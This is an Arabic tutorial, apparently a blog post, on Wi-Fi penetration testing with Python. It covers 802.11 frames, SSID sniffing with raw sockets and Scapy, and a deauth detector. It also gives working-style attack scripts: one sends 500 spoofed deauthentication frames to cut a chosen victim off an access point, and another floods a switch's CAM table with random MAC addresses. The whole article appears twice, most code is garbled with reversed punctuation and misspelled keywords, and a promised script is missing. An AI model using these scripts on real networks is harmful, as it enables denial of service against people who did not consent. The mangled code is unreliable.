اختبار اختراق الشبكات اللاسلكية بالبايثون (الجزاء الاول )

 

تتميز الأنظمة اللاسلكية بقدر كبير من المرونة ، ولكنها من ناحية أخرى تؤدي إلى مشكلات أمنية خطيرة أيضًا. وكيف يمكن أن يصبح هذا مشكلة أمنية خطيرة - لأن المهاجمين ، في حالة الاتصال اللاسلكي ، يحتاجون فقط إلى توفر إشارة للهجوم بدلاً من الوصول المادي كما في حالة الشبكة السلكية. يعد اختبار الاختراق للأنظمة اللاسلكية مهمة أسهل من القيام بذلك على الشبكة السلكية. لا يمكننا فعلاً تطبيق تدابير أمنية مادية جيدة ضد وسيط لاسلكي ، إذا كنا قريبين بما فيه الكفاية ، فسنكون قادرين على "سماع" (أو على الأقل يستطيع المحول اللاسلكي الخاص بك سماع) كل شيء يتدفق عبر الهواء.

المتطلبات الأساسية:

قبل أن نبدأ في تعلم المزيد حول pentesting للشبكة اللاسلكية ، دعونا نفكر في مناقشة المصطلحات وعملية الاتصال بين العميل والنظام اللاسلكي.

مصطلحات مهمة


دعونا الآن نتعلم المصطلحات الهامة المتعلقة pentesting للشبكة اللاسلكية.
نقطة الوصول (AP)

نقطة الوصول (AP)

هي العقدة المركزية في تطبيقات 802.11 اللاسلكية. تُستخدم هذه النقطة لتوصيل المستخدمين بمستخدمين آخرين داخل الشبكة ويمكن أيضًا أن تكون بمثابة نقطة اتصال بين الشبكة المحلية اللاسلكية (WLAN) وشبكة سلكية ثابتة. في شبكة WLAN ، نقطة الوصول هي محطة ترسل البيانات وتستقبلها.

معرف مجموعة الخدمات (SSID)


وهي عبارة عن سلسلة نصية طويلة يمكن قراءتها من 0 إلى 32 بايت وهي في الأساس الاسم المخصص لشبكة لاسلكية. يجب أن تستخدم جميع الأجهزة في الشبكة هذا الاسم الحساس لحالة الأحرف للاتصال عبر شبكة لاسلكية (Wi-Fi).
تعريف مجموعة الخدمات الأساسية (BSSID)

إنه عنوان MAC الخاص بشريحة Wi-Fi التي تعمل على نقطة وصول لاسلكية (AP). يتم إنشاؤه بشكل عشوائي.
رقم القناة

يمثل نطاق التردد اللاسلكي الذي تستخدمه نقطة الوصول (AP) للإرسال.
الاتصال بين العميل والنظام اللاسلكي

شيء مهم آخر يجب أن نفهمه هو عملية الاتصال بين العميل والنظام اللاسلكي. بمساعدة الرسم البياني التالي ، يمكننا فهم نفس الشيء -

 

الاتصال بين العميل والنظام اللاسلكي
إطار منارة

في عملية الاتصال بين العميل ونقطة الوصول ، ترسل AP بشكل دوري إطار منارة لإظهار وجودها. يأتي هذا الإطار مع معلومات تتعلق بـ SSID و BSSID ورقم القناة.

طلب المسبار(Probe request)


الآن ، سيرسل جهاز العميل طلب فحص للتحقق من وجود نقاط الوصول في النطاق. بعد إرسال طلب الفحص ، سينتظر استجابة المسبار من AP. يحتوي طلب Probe على معلومات مثل SSID لـ AP ومعلومات خاصة بالبائع ، إلخ.
استجابة المسبار

الآن ، بعد الحصول على طلب الفحص ، سترسل AP استجابة مسبار تحتوي على معلومات مثل معدل البيانات المدعومة والقدرة وما إلى ذلك.
طلب المصادقة

الآن ، سيرسل جهاز العميل إطار طلب مصادقة يحتوي على هويته.
استجابة المصادقة

الآن رداً على ذلك ، سترسل AP إطار استجابة مصادقة يشير إلى القبول أو الرفض.
طلب الرابطة

عندما تنجح المصادقة ، أرسل جهاز العميل إطار طلب ارتباط يحتوي على معدل بيانات مدعوم و SSID لـ AP.
استجابة الرابطة

الآن استجابةً لذلك ، سترسل AP إطار استجابة ارتباط يشير إلى القبول أو الرفض. سيتم إنشاء معرف ارتباط لجهاز العميل في حالة القبول.
البحث عن معرف مجموعة الخدمات اللاسلكية (SSID) باستخدام Python

يمكننا جمع المعلومات حول SSID بمساعدة طريقة المقبس الخام وكذلك باستخدام مكتبة Scapy.
طريقة المقبس الخام

لقد تعلمنا بالفعل أن mon0 يلتقط الحزم اللاسلكية ؛ لذلك ، نحتاج إلى ضبط وضع الشاشة على mon0. في Kali Linux ، يمكن القيام بذلك بمساعدة البرنامج النصي airmon-ng. بعد تشغيل هذا البرنامج النصي ، سيمنح البطاقة اللاسلكية اسمًا يقول wlan1. الآن بمساعدة الأمر التالي ، نحتاج إلى تمكين وضع المراقبة على mon0 -

root@root:~# airmon-ng start wlan0

نبداء بي استدعاء مكتبت socket

import socket

  الآن ، سننشئ socket يحتوي على ثلاث معلمات. تخبرنا المعلمة الأولى عن واجهة الحزمة 

(PF_PACKET for Linux specific and AF_INET for windows)

 ، تخبرنا المعلمة الثانية ما إذا كانت مقبسًا أوليًا ويخبرنا المعامل الثالث أننا 

مهتمون بجميع الحزم.

s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0003))

الآن ، سيربط السطر التالي وضع mon0 و 0x0003.

s.bind(("mon0", 0x0003))

الآن ، نحتاج إلى انشاء قائمة فارغة ، والتي ستخزن SSID لنقاط الوصول. 

ap_list = []

الآن ، نحتاج إلى استدعاء الداله recvfrom () لاستلام الحزمة. 

لكي يستمر الاستنشاق ، سنستخدم حلقة while .

:wile Tru
packet = s.recvfrom(2048) ...

يظهر السطر التالي من الكود ما إذا كان الرتل 8 بتات يشير إلى إطار المنارة.

:"if packet[26] == "\x80 ...
: if packetkt[36:42] not in ap_list and ord(packetkt[63]) > 0 ...
ap_list.add(packetkt[36:42]).......
print("SSID:",(pkt[64:64+ord(pkt[63])],pkt[36:42].encode('hex')))

SSID الشم مع Scapy

Scapy هي واحدة من أفضل المكتبات التي يمكن أن تسمح لنا بسهولة شم

 حزم Wi-Fi. يمكنك تعلم Scapy 

بالتفصيل هنا. لتبدأ ، قم بتشغيل Sacpy في الوضع التفاعلي واستخدم

 الأمر conf للحصول على

 قيمة iface. الواجهة الافتراضية هي eth0. الآن نظرًا لأن لدينا القبة أعلاه

 ، نحتاج إلى تغيير

 هذا الوضع إلى mon0. يمكن القيام بذلك على النحو التالي -

"d>>> conf.iface = "mon0
d>>> packets = sniff(count = 3)
d>>> packets

<Sniffed: TCP:0 UDP:0 ICMP:0 Other:5>
d>>> len(packets)
3

دعونا الآن نستدعي Scapy كمكتبة. علاوة على ذلك ، سيعطينا

 تنفيذ نص Python النصي التالي SSID -

from scapy.all import *

الآن ، نحتاج إلى الإعلان عن قائمة فارغة ستخزن SSID لنقاط الوصول.

ap_list = []

سنقوم الآن بتعريف دالة باسم Packet_info () ،

 والتي سيكون لها منطق تحليل الحزمة الكامل. سيكون

 لها pkt الحجة.

:def Packet_info(pkt)

في البيان التالي ، سنطبق مرشحًا يمر فقط بحركة

 مرور Dot11 مما يعني مرور 802.11. السطر التالي

 هو أيضًا مرشح يمرر الحركة التي لها نوع type 0 (represents management frame)

 والنوع الفرعي subtype is 8 (represents beacon frame)

:if pkt.haslayer(Dot11)....
: if ((pkt.type == 0) & (pkt.subtype == 8)).......
: if pkt.addr2 not in ap_list...........
:ap_list.append(pkt.addr2)...............
:print("SSID:", (pkt.addr2, pkt.info))...............

الآن ، ستقوم وظيفة الشم باستنشاق البيانات ذات قيمة iface mon0 (للحزم اللاسلكية)

 واستدعاء وظيفة Packet_info.

sniff(iface = "mon0", prn = Packet_info)

لتنفيذ نصوص Python أعلاه ، نحتاج إلى بطاقة Wi-Fi

 قادرة على شم الهواء باستخدام وضع الشاشة.

الكشف عن عملاء نقطة الوصول


لاكتشاف عملاء نقاط الوصول

 ، نحتاج إلى التقاط إطار طلب الفحص. يمكننا القيام 

بذلك تمامًا كما فعلنا في نص

 Python لـ SSID sniffer باستخدام Scapy. نحتاج إلى 

إعطاء Dot11ProbeReq لالتقاط إطار

 طلب الفحص. فيما يلي نص Python لاكتشاف عملاء نقاط الوصول -

الهجمات اللاسلكية


من وجهة نظر رجل الأعمال ، من المهم جدًا فهم كيفية حدوث هجوم لاسلكي. في هذا القسم ،

 سنناقش نوعين من الهجمات اللاسلكية -

هجمات إلغاء المصادقة (deauth)

هجوم الفيضانات MAC

هجمات إلغاء المصادقة (deauth)

في عملية الاتصال بين جهاز عميل ونقطة وصول عندما

 يريد العميل قطع الاتصال ، فإنه يحتاج 

إلى إرسال إطار إلغاء المصادقة. استجابة لذلك 

الإطار من العميل ، سترسل AP أيضًا إطار إلغاء

 المصادقة. يمكن للمهاجم الاستفادة من هذه العملية

 العادية عن طريق انتحال عنوان MAC للضحية

 وإرسال إطار إلغاء المصادقة إلى AP. نتيجة لهذا 

، تم قطع الاتصال بين العميل و AP. فيما 

يلي نص Python لتنفيذ هجوم إلغاء المصادقة -

دعونا أولاً نستورد Scapy كمكتبة -

*from scapy.all import
import sys

بعد بيانين ، سيتم إدخال عنوان MAC الخاص بـ AP والضحية على التوالي.

BSSID = input("Enter MAC address of the Access Point:- ")
vctm_mac = input("Enter MAC address of the Victim:- ")

الآن ، نحتاج إلى إنشاء إطار إلغاء المصادقة. يمكن إنشاؤه عن طريق تنفيذ الكود التالي.

frame = RadioTap()/ Dot11(addr1 = vctm_mac, addr2 = BSSID, addr3 = BSSID)
/ Dot11Deauth()

يمثل السطر التالي من الكود العدد الإجمالي للحزم المرسلة ؛ هنا هو 500 و

الفاصل الزمني بين حزمتين.

sendp(frame, iface = "mon0", count = 500, inter = .1)

الناتج |

عند التنفيذ ، يولد الأمر أعلاه المخرجات التالية -

Enter MAC address of the Access
 Point:- (Here, we need to provide the MAC address of AP)
Enter MAC address of 
the Victim:- (Here, we need to provide the MAC address of the victim)

يتبع ذلك إنشاء إطار deauth ، والذي يتم إرساله بالتالي إلى نقطة الوصول نيابة عن

 العميل. سيؤدي هذا إلى إلغاء الاتصال بينهما.

السؤال هنا هو كيف نكتشف هجوم deauth باستخدام نص Python. سيساعد تنفيذ نص Python

 النصي التالي في اكتشاف مثل هذه الهجمات -

*from scapy.all import
i = 1
:def deauth_frame(pkt)
:if pkt.haslayer(Dot11)......
:if ((pkt.type == 0) & (pkt.subtype == 12)).........
global i..............
print ("Deauth frame detected: ", i)..............
 
sniff(iface = "mon0", prn = deauth_frame)......

في النص أعلاه ، تشير العبارة pkt.subtype == 12 إلى إطار deauth والمتغير I المحدد

 عالميًا يخبرنا عن عدد الحزم.

الناتج |

ينتج عن تنفيذ الكود أعلاه المخرجات التالية -

Deauth frame detected: 1
Deauth frame detected: 2
Deauth frame detected: 3
Deauth frame detected: 4
Deauth frame detected: 5
Deauth frame detected: 6

هجمات الفيضانات عنوان MAC


هجوم إغراق عنوان MAC (هجوم إغراق جدول CAM) هو نوع من هجمات الشبكة حيث 

يقوم المهاجم المتصل بمنفذ التبديل بإغراق واجهة المحول بعدد كبير جدًا من

 إطارات Ethernet بعناوين MAC مختلفة المصدر وهمية. تحدث تدفقات جدول CAM عند

 تدفق تدفق عناوين MAC إلى الجدول والوصول إلى حد جدول CAM. يؤدي هذا إلى عمل

 المحول مثل لوحة الوصل ، مما يؤدي إلى إغراق الشبكة بحركة المرور في جميع المنافذ.

 من السهل جدًا إطلاق مثل هذه الهجمات. يساعد نص Python النصي التالي في 

إطلاق هجوم إغراق CAM -

*from scapy.all import
:def generate_packets(self)
[] = packet_lis
:for i in xrange(1,1000)
packet = Ether(src = RandMAC(), 
/ dst = RandMAC())/IP(src = RandIP(), dst = RandIP())...........
packet_list.append(packet)
return packet_list...........


:def cam_overflow(packet_list)
sendp(packet_list, iface='wlan')......


:if __name__ == '__main__'

packet_list = generate_packets().....
cam_overflow(packet_list).....
الهدف الرئيسي من هذا النوع من الهجوم هو التحقق من أمان المفتاح. نحتاج إلى
 استخدام أمان المنفذ إذا أردنا تقليل تأثير هجوم الفيضانات MAC.



اختبار اختراق الشبكات اللاسلكية بالبايثون (الجزء الاول )

اختبار اختراق الشبكات اللاسلكية بالبايثون (الجزاء الاول )

 

تتميز الأنظمة اللاسلكية بقدر كبير من المرونة ، ولكنها من ناحية أخرى تؤدي إلى مشكلات أمنية خطيرة أيضًا. وكيف يمكن أن يصبح هذا مشكلة أمنية خطيرة - لأن المهاجمين ، في حالة الاتصال اللاسلكي ، يحتاجون فقط إلى توفر إشارة للهجوم بدلاً من الوصول المادي كما في حالة الشبكة السلكية. يعد اختبار الاختراق للأنظمة اللاسلكية مهمة أسهل من القيام بذلك على الشبكة السلكية. لا يمكننا فعلاً تطبيق تدابير أمنية مادية جيدة ضد وسيط لاسلكي ، إذا كنا قريبين بما فيه الكفاية ، فسنكون قادرين على "سماع" (أو على الأقل يستطيع المحول اللاسلكي الخاص بك سماع) كل شيء يتدفق عبر الهواء.

المتطلبات الأساسية:

قبل أن نبدأ في تعلم المزيد حول pentesting للشبكة اللاسلكية ، دعونا نفكر في مناقشة المصطلحات وعملية الاتصال بين العميل والنظام اللاسلكي.

مصطلحات مهمة


دعونا الآن نتعلم المصطلحات الهامة المتعلقة pentesting للشبكة اللاسلكية.
نقطة الوصول (AP)

نقطة الوصول (AP)

هي العقدة المركزية في تطبيقات 802.11 اللاسلكية. تُستخدم هذه النقطة لتوصيل المستخدمين بمستخدمين آخرين داخل الشبكة ويمكن أيضًا أن تكون بمثابة نقطة اتصال بين الشبكة المحلية اللاسلكية (WLAN) وشبكة سلكية ثابتة. في شبكة WLAN ، نقطة الوصول هي محطة ترسل البيانات وتستقبلها.

معرف مجموعة الخدمات (SSID)


وهي عبارة عن سلسلة نصية طويلة يمكن قراءتها من 0 إلى 32 بايت وهي في الأساس الاسم المخصص لشبكة لاسلكية. يجب أن تستخدم جميع الأجهزة في الشبكة هذا الاسم الحساس لحالة الأحرف للاتصال عبر شبكة لاسلكية (Wi-Fi).
تعريف مجموعة الخدمات الأساسية (BSSID)

إنه عنوان MAC الخاص بشريحة Wi-Fi التي تعمل على نقطة وصول لاسلكية (AP). يتم إنشاؤه بشكل عشوائي.
رقم القناة

يمثل نطاق التردد اللاسلكي الذي تستخدمه نقطة الوصول (AP) للإرسال.
الاتصال بين العميل والنظام اللاسلكي

شيء مهم آخر يجب أن نفهمه هو عملية الاتصال بين العميل والنظام اللاسلكي. بمساعدة الرسم البياني التالي ، يمكننا فهم نفس الشيء -

 

الاتصال بين العميل والنظام اللاسلكي
إطار منارة

في عملية الاتصال بين العميل ونقطة الوصول ، ترسل AP بشكل دوري إطار منارة لإظهار وجودها. يأتي هذا الإطار مع معلومات تتعلق بـ SSID و BSSID ورقم القناة.

طلب المسبار(Probe request)


الآن ، سيرسل جهاز العميل طلب فحص للتحقق من وجود نقاط الوصول في النطاق. بعد إرسال طلب الفحص ، سينتظر استجابة المسبار من AP. يحتوي طلب Probe على معلومات مثل SSID لـ AP ومعلومات خاصة بالبائع ، إلخ.
استجابة المسبار

الآن ، بعد الحصول على طلب الفحص ، سترسل AP استجابة مسبار تحتوي على معلومات مثل معدل البيانات المدعومة والقدرة وما إلى ذلك.
طلب المصادقة

الآن ، سيرسل جهاز العميل إطار طلب مصادقة يحتوي على هويته.
استجابة المصادقة

الآن رداً على ذلك ، سترسل AP إطار استجابة مصادقة يشير إلى القبول أو الرفض.
طلب الرابطة

عندما تنجح المصادقة ، أرسل جهاز العميل إطار طلب ارتباط يحتوي على معدل بيانات مدعوم و SSID لـ AP.
استجابة الرابطة

الآن استجابةً لذلك ، سترسل AP إطار استجابة ارتباط يشير إلى القبول أو الرفض. سيتم إنشاء معرف ارتباط لجهاز العميل في حالة القبول.
البحث عن معرف مجموعة الخدمات اللاسلكية (SSID) باستخدام Python

يمكننا جمع المعلومات حول SSID بمساعدة طريقة المقبس الخام وكذلك باستخدام مكتبة Scapy.
طريقة المقبس الخام

لقد تعلمنا بالفعل أن mon0 يلتقط الحزم اللاسلكية ؛ لذلك ، نحتاج إلى ضبط وضع الشاشة على mon0. في Kali Linux ، يمكن القيام بذلك بمساعدة البرنامج النصي airmon-ng. بعد تشغيل هذا البرنامج النصي ، سيمنح البطاقة اللاسلكية اسمًا يقول wlan1. الآن بمساعدة الأمر التالي ، نحتاج إلى تمكين وضع المراقبة على mon0 -

root@root:~# airmon-ng start wlan0

نبداء بي استدعاء مكتبت socket

import socket

  الآن ، سننشئ socket يحتوي على ثلاث معلمات. تخبرنا المعلمة الأولى عن واجهة الحزمة 

(PF_PACKET for Linux specific and AF_INET for windows)

 ، تخبرنا المعلمة الثانية ما إذا كانت مقبسًا أوليًا ويخبرنا المعامل الثالث أننا 

مهتمون بجميع الحزم.

s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0003))

الآن ، سيربط السطر التالي وضع mon0 و 0x0003.

s.bind(("mon0", 0x0003))

الآن ، نحتاج إلى انشاء قائمة فارغة ، والتي ستخزن SSID لنقاط الوصول. 

ap_list = []

الآن ، نحتاج إلى استدعاء الداله recvfrom () لاستلام الحزمة. 

لكي يستمر الاستنشاق ، سنستخدم حلقة while .

:wile Tru
packet = s.recvfrom(2048) ...

يظهر السطر التالي من الكود ما إذا كان الرتل 8 بتات يشير إلى إطار المنارة.

:"if packet[26] == "\x80 ...
: if packetkt[36:42] not in ap_list and ord(packetkt[63]) > 0 ...
ap_list.add(packetkt[36:42]).......
print("SSID:",(pkt[64:64+ord(pkt[63])],pkt[36:42].encode('hex')))

SSID الشم مع Scapy

Scapy هي واحدة من أفضل المكتبات التي يمكن أن تسمح لنا بسهولة شم

 حزم Wi-Fi. يمكنك تعلم Scapy 

بالتفصيل هنا. لتبدأ ، قم بتشغيل Sacpy في الوضع التفاعلي واستخدم

 الأمر conf للحصول على

 قيمة iface. الواجهة الافتراضية هي eth0. الآن نظرًا لأن لدينا القبة أعلاه

 ، نحتاج إلى تغيير

 هذا الوضع إلى mon0. يمكن القيام بذلك على النحو التالي -

"d>>> conf.iface = "mon0
d>>> packets = sniff(count = 3)
d>>> packets

<Sniffed: TCP:0 UDP:0 ICMP:0 Other:5>
d>>> len(packets)
3

دعونا الآن نستدعي Scapy كمكتبة. علاوة على ذلك ، سيعطينا

 تنفيذ نص Python النصي التالي SSID -

from scapy.all import *

الآن ، نحتاج إلى الإعلان عن قائمة فارغة ستخزن SSID لنقاط الوصول.

ap_list = []

سنقوم الآن بتعريف دالة باسم Packet_info () ،

 والتي سيكون لها منطق تحليل الحزمة الكامل. سيكون

 لها pkt الحجة.

:def Packet_info(pkt)

في البيان التالي ، سنطبق مرشحًا يمر فقط بحركة

 مرور Dot11 مما يعني مرور 802.11. السطر التالي

 هو أيضًا مرشح يمرر الحركة التي لها نوع type 0 (represents management frame)

 والنوع الفرعي subtype is 8 (represents beacon frame)

:if pkt.haslayer(Dot11)....
: if ((pkt.type == 0) & (pkt.subtype == 8)).......
: if pkt.addr2 not in ap_list...........
:ap_list.append(pkt.addr2)...............
:print("SSID:", (pkt.addr2, pkt.info))...............

الآن ، ستقوم وظيفة الشم باستنشاق البيانات ذات قيمة iface mon0 (للحزم اللاسلكية)

 واستدعاء وظيفة Packet_info.

sniff(iface = "mon0", prn = Packet_info)

لتنفيذ نصوص Python أعلاه ، نحتاج إلى بطاقة Wi-Fi

 قادرة على شم الهواء باستخدام وضع الشاشة.

الكشف عن عملاء نقطة الوصول


لاكتشاف عملاء نقاط الوصول

 ، نحتاج إلى التقاط إطار طلب الفحص. يمكننا القيام 

بذلك تمامًا كما فعلنا في نص

 Python لـ SSID sniffer باستخدام Scapy. نحتاج إلى 

إعطاء Dot11ProbeReq لالتقاط إطار

 طلب الفحص. فيما يلي نص Python لاكتشاف عملاء نقاط الوصول -

الهجمات اللاسلكية


من وجهة نظر رجل الأعمال ، من المهم جدًا فهم كيفية حدوث هجوم لاسلكي. في هذا القسم ،

 سنناقش نوعين من الهجمات اللاسلكية -

هجمات إلغاء المصادقة (deauth)

هجوم الفيضانات MAC

هجمات إلغاء المصادقة (deauth)

في عملية الاتصال بين جهاز عميل ونقطة وصول عندما

 يريد العميل قطع الاتصال ، فإنه يحتاج 

إلى إرسال إطار إلغاء المصادقة. استجابة لذلك 

الإطار من العميل ، سترسل AP أيضًا إطار إلغاء

 المصادقة. يمكن للمهاجم الاستفادة من هذه العملية

 العادية عن طريق انتحال عنوان MAC للضحية

 وإرسال إطار إلغاء المصادقة إلى AP. نتيجة لهذا 

، تم قطع الاتصال بين العميل و AP. فيما 

يلي نص Python لتنفيذ هجوم إلغاء المصادقة -

دعونا أولاً نستورد Scapy كمكتبة -

*from scapy.all import
import sys

بعد بيانين ، سيتم إدخال عنوان MAC الخاص بـ AP والضحية على التوالي.

BSSID = input("Enter MAC address of the Access Point:- ")
vctm_mac = input("Enter MAC address of the Victim:- ")

الآن ، نحتاج إلى إنشاء إطار إلغاء المصادقة. يمكن إنشاؤه عن طريق تنفيذ الكود التالي.

frame = RadioTap()/ Dot11(addr1 = vctm_mac, addr2 = BSSID, addr3 = BSSID)
/ Dot11Deauth()

يمثل السطر التالي من الكود العدد الإجمالي للحزم المرسلة ؛ هنا هو 500 و

الفاصل الزمني بين حزمتين.

sendp(frame, iface = "mon0", count = 500, inter = .1)

الناتج |

عند التنفيذ ، يولد الأمر أعلاه المخرجات التالية -

Enter MAC address of the Access
 Point:- (Here, we need to provide the MAC address of AP)
Enter MAC address of 
the Victim:- (Here, we need to provide the MAC address of the victim)

يتبع ذلك إنشاء إطار deauth ، والذي يتم إرساله بالتالي إلى نقطة الوصول نيابة عن

 العميل. سيؤدي هذا إلى إلغاء الاتصال بينهما.

السؤال هنا هو كيف نكتشف هجوم deauth باستخدام نص Python. سيساعد تنفيذ نص Python

 النصي التالي في اكتشاف مثل هذه الهجمات -

*from scapy.all import
i = 1
:def deauth_frame(pkt)
:if pkt.haslayer(Dot11)......
:if ((pkt.type == 0) & (pkt.subtype == 12)).........
global i..............
print ("Deauth frame detected: ", i)..............
 
sniff(iface = "mon0", prn = deauth_frame)......

في النص أعلاه ، تشير العبارة pkt.subtype == 12 إلى إطار deauth والمتغير I المحدد

 عالميًا يخبرنا عن عدد الحزم.

الناتج |

ينتج عن تنفيذ الكود أعلاه المخرجات التالية -

Deauth frame detected: 1
Deauth frame detected: 2
Deauth frame detected: 3
Deauth frame detected: 4
Deauth frame detected: 5
Deauth frame detected: 6

هجمات الفيضانات عنوان MAC


هجوم إغراق عنوان MAC (هجوم إغراق جدول CAM) هو نوع من هجمات الشبكة حيث 

يقوم المهاجم المتصل بمنفذ التبديل بإغراق واجهة المحول بعدد كبير جدًا من

 إطارات Ethernet بعناوين MAC مختلفة المصدر وهمية. تحدث تدفقات جدول CAM عند

 تدفق تدفق عناوين MAC إلى الجدول والوصول إلى حد جدول CAM. يؤدي هذا إلى عمل

 المحول مثل لوحة الوصل ، مما يؤدي إلى إغراق الشبكة بحركة المرور في جميع المنافذ.

 من السهل جدًا إطلاق مثل هذه الهجمات. يساعد نص Python النصي التالي في 

إطلاق هجوم إغراق CAM -

*from scapy.all import
:def generate_packets(self)
[] = packet_lis
:for i in xrange(1,1000)
packet = Ether(src = RandMAC(), 
/ dst = RandMAC())/IP(src = RandIP(), dst = RandIP())...........
packet_list.append(packet)
return packet_list...........


:def cam_overflow(packet_list)
sendp(packet_list, iface='wlan')......


:if __name__ == '__main__'

packet_list = generate_packets().....
cam_overflow(packet_list).....
الهدف الرئيسي من هذا النوع من الهجوم هو التحقق من أمان المفتاح. نحتاج إلى
 استخدام أمان المنفذ إذا أردنا تقليل تأثير هجوم الفيضانات MAC.



ليست هناك تعليقات